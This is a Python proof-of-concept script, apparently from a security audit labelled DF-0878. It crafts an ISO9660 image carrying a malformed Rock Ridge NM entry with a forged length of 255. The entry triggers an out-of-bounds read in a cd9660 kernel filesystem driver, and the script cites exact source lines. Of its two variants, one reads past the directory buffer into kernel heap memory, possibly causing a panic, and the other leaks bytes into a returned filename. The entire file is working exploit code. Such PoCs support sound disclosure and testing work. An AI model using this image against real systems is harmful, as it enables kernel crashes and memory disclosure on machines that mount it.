#!/usr/bin/env python3
"""
DF-0878 — Craft a minimal ISO9660 image with a malicious Rock Ridge
"SUSP" NM (Alternate Name) entry whose declared `length` (255) grossly
exceeds the actual System Use space available in its directory record,
positioned as the LAST record of the root directory block so the NM
handler's bcopy reads past the 2048-byte directory buffer into adjacent
kernel memory.

The crafted record exercises the bug at:
  sys/vfs/isofs/cd9660/cd9660_rrip.c:509  while(pend>=phead+1)  [header-only check]
  sys/vfs/isofs/cd9660/cd9660_rrip.c:515  ptable->func(phead,ana) [NO upper-bound check]
  sys/vfs/isofs/cd9660/cd9660_rrip.c:258  wlen=h.length-5
  sys/vfs/isofs/cd9660/cd9660_rrip.c:276  bcopy(inbuf,outbuf,wlen)  [250-byte OOB read]

Layout (2048-byte sectors):
  0..15  System Area (zero)
  16     Primary Volume Descriptor (PVD)
  17     Volume Descriptor Set Terminator
  18     L-type Path Table
  19     Root directory extent (1 block)  <- malicious NM record at the END
  20     File data (empty block)          <- extents point here
"""
import struct, sys

BSIZE = 2048

def u711(v):            # 1-byte
    return bytes([v & 0xff])
def u723(v):            # 2-byte LE + 2-byte BE
    return struct.pack('<H', v) + struct.pack('>H', v)
def u731(v):            # 4-byte LE
    return struct.pack('<I', v)
def u732(v):            # 4-byte BE
    return struct.pack('>I', v)
def u733(v):            # 4-byte LE + 4-byte BE
    return struct.pack('<I', v) + struct.pack('>I', v)
def pad(b, n, ch=b'\x00'):
    return b + ch * (n - len(b))
def asciiid(s, n):
    s = s.encode('ascii') if isinstance(s, str) else s
    return pad(s, n, b' ')

def dirdate():
    # years-since-1900, month, day, hour, min, sec, gmtoff(15min units)
    return bytes([126, 7, 1, 0, 0, 0, 0])

def dir_record(name_bytes, extent, size, flags, su=b'', is_dot=False):
    """Build one ISO9660 directory record. name_bytes already raw."""
    name_len = len(name_bytes)
    fix = u711(0)                 # ext_attr_length
    fix += u733(extent)           # extent location
    fix += u733(size)             # data length
    fix += dirdate()              # 7 bytes
    fix += u711(flags)            # file flags
    fix += u711(0)                # file unit size
    fix += u711(0)                # interleave gap
    fix += u723(1)                # volume sequence number
    fix += u711(name_len)
    body = name_bytes
    # padding: if name_len is even, add 1 pad byte (so SU starts even-ish)
    # NOTE: for '.'/'..' the name is a single byte (\x00 or \x01), name_len=1 (odd) -> no pad
    if name_len % 2 == 0:
        body += b'\x00'
    rec_no_len = fix + body + su
    total = len(rec_no_len) + 1   # +1 for the length byte itself
    return u711(total) + rec_no_len

def susp(typ, version, payload):
    """Build a SUSP entry: type[2] + length[1] + version[1] + payload."""
    length = 4 + len(payload)
    return typ.encode('ascii') + bytes([length, version]) + payload

def susp_er(ext_id=b'IEEE_P1282', ext_des=b'', ext_src=b''):
    """ER (Extension Reference) entry. cd9660_rrip_offset REQUIRES an ER
       with len_id==10 and ext_id IEEE_P1282/RRIP_1991A (cd9660_rrip.c:460)."""
    payload = bytes([len(ext_id), len(ext_des), len(ext_src), 1]) + ext_id + ext_des + ext_src
    return susp('ER', 1, payload)

def build_iso(variant="boundary"):
    """
    variant='boundary' : malicious record fills to byte 2048 -> NM reads
                         ~220 bytes PAST the 2048-byte directory buffer
                         (kernel heap / possible page fault).
    variant='early'    : malicious record sits right after '..'; the rest
                         of the block is a sentinel fill (0xCC). NM reads
                         247 bytes past the record boundary into the
                         sentinel -> emitted filename is 'ZZZ'+sentinel,
                         proving the in-kernel OOB read reliably (no panic).
    """
    # ---- directory block (sector 19) ----
    ROOT_EXTENT = 19
    FILE_EXTENT = 20
    dot = dir_record(b'\x00', ROOT_EXTENT, BSIZE, flags=0x02, su=
                     susp('SP', 1, bytes([0xbe, 0xef, 0x00])) +   # skip=0
                     susp_er())                                    # ER IEEE_P1282
    dotdot = dir_record(b'\x01', ROOT_EXTENT, BSIZE, flags=0x02)
    # malicious record: file 'Z', NM entry claiming length 255.
    # in_record_name bytes chosen so boundary variant leaves no zero-gap.
    # dot is now 59B (SP+ER), dotdot 34B -> used=93.
    #   boundary: 93 + n_pad*34 + (39+k) == 2048  =>  k==12 (n_pad=56)
    #   early:    sentinel fill, k arbitrary (3)
    k = 12 if variant == "boundary" else 3
    nm_name = b'Z' * k
    nm_su = susp('NM', 1, bytes([0x00]) + nm_name)   # flags=0 + k name bytes
    nm_su = nm_su[0:2] + bytes([255]) + nm_su[3:]    # forge length -> 255
    assert nm_su[2] == 255
    malicious = dir_record(b'Z', FILE_EXTENT, BSIZE, flags=0x00, su=nm_su)

    block = b''
    block += dot + dotdot
    read_start_global = None
    if variant == "early":
        # malicious record right after '..'; one zero byte (record-list
        # terminator so readdir stops cleanly), then 0xCC sentinel fill.
        # The NM handler reads 250 bytes from inside the record, sweeping
        # past the terminator into the 0xCC sentinel -> the leaked bytes
        # appear in the returned filename.
        block += malicious
        mal_off = len(dot) + len(dotdot)
        su_off = mal_off + 34
        block += b'\x00'                      # clean record-list terminator
        block += b'\xcc' * (BSIZE - len(block))
        read_start_global = su_off + 5
        oob_past_record = (read_start_global + 250) - (mal_off + len(malicious))
        print(f"[craft:{variant}] malicious record at offset {mal_off} "
              f"(len {len(malicious)}), NM at {su_off}, NM.length=255 -> "
              f"reads 250 bytes from {read_start_global}; {oob_past_record} "
              f"bytes past the record boundary into the 0xCC sentinel fill "
              f"(in-buffer OOB, no panic)")
    else:
        # padding records then malicious at the very end (ends at 2048)
        padrec = dir_record(b'P', FILE_EXTENT, BSIZE, flags=0x00)
        assert len(padrec) == 34
        remaining = BSIZE - len(dot) - len(dotdot) - len(malicious)
        n_pad = remaining // len(padrec)
        leftover = remaining - n_pad * len(padrec)
        block += padrec * n_pad
        need = BSIZE - len(block) - len(malicious)
        if need >= 34:
            filler_name = b'F' * (need - 34)
            filler = dir_record(filler_name, FILE_EXTENT, BSIZE, flags=0x00)
            assert len(filler) == need
            block += filler
        else:
            block += b'\x00' * need
        block += malicious
        mal_off = BSIZE - len(malicious)
        su_off = mal_off + 34
        read_start_global = su_off + 5
        oob_past_buf = (read_start_global + 250) - BSIZE
        print(f"[craft:{variant}] malicious record at offset {mal_off} "
              f"(len {len(malicious)}), NM at {su_off}, NM.length=255 -> "
              f"reads 250 bytes from {read_start_global}; {oob_past_buf} "
              f"bytes read PAST the 2048-byte directory buffer into kernel heap")
    assert len(block) == BSIZE, len(block)
    dirblock = block

    # ---- path table (sector 18) ----
    # one entry: root directory
    pt = b'\x01'                 # length of directory identifier (1)
    pt += b'\x00'                # extended attribute length
    pt += u731(ROOT_EXTENT)      # location of extent (L-type LE)
    pt += u731(1)                # directory number of parent (root=1)
    pt += b'\x00'                # directory identifier ('.' -> 0x00 for root)
    pt += b'\x00'                # padding (len is odd=1 -> 1 pad byte)
    pt_size = len(pt)
    pathtable_L = pad(pt, BSIZE, b'\x00')
    pathtable_M = pad(pt.replace(u731(ROOT_EXTENT), u732(ROOT_EXTENT))
                        .replace(u731(1), u732(1)), BSIZE, b'\x00')

    # ---- PVD (sector 16) ----
    pvd = bytearray(BSIZE)
    pvd[0] = 1                                   # type = PVD
    pvd[1:6] = b'CD001'
    pvd[6] = 1                                   # version
    pvd[8:40] = asciiid('DF0878SYS', 32)
    pvd[40:72] = asciiid('DF0878', 32)
    pvd[80:88] = u733(21)                        # volume space size (sectors)
    pvd[120:124] = u723(1)                       # volume set size
    pvd[124:128] = u723(1)                       # volume sequence number
    pvd[128:132] = u723(BSIZE)                   # logical block size
    pvd[132:140] = u733(pt_size)                 # path table size
    pvd[140:144] = u731(18)                      # L path table location
    pvd[144:148] = u731(0)                       # optional L (none)
    pvd[148:152] = u732(0)                       # M path table location (none/ignored)
    pvd[152:156] = u732(0)                       # optional M (none)
    # root directory record (34 bytes) at offset 156
    rootrec = dir_record(b'\x00', ROOT_EXTENT, BSIZE, flags=0x02)
    pvd[156:156+len(rootrec)] = rootrec
    pvd[190:318] = asciiid('', 128)              # volume set id
    pvd[318:446] = asciiid('DF0878AUDIT', 128)   # publisher
    pvd[446:574] = asciiid('POC', 128)           # preparer
    pvd[574:702] = asciiid('DF0878', 128)        # application
    pvd[882] = 1                                 # file structure version
    pvd = bytes(pvd)

    # ---- VD set terminator (sector 17) ----
    vdst = bytearray(BSIZE)
    vdst[0] = 255
    vdst[1:6] = b'CD001'
    vdst[6] = 1
    vdst = bytes(vdst)

    # ---- assemble image ----
    img = bytearray()
    img += b'\x00' * (BSIZE * 16)     # system area
    img += pvd
    img += vdst
    img += pathtable_L
    img += dirblock
    img += b'\x00' * BSIZE            # file data block (sector 20)
    assert len(img) == BSIZE * 21
    return bytes(img)

if __name__ == '__main__':
    variant = 'boundary'
    out = 'df0878.iso'
    for a in sys.argv[1:]:
        if a == '--early':    variant = 'early'
        elif a == '--boundary': variant = 'boundary'
        else: out = a
    data = build_iso(variant)
    with open(out, 'wb') as f:
        f.write(data)
    print(f"[craft] variant={variant} wrote {out} ({len(data)} bytes)")
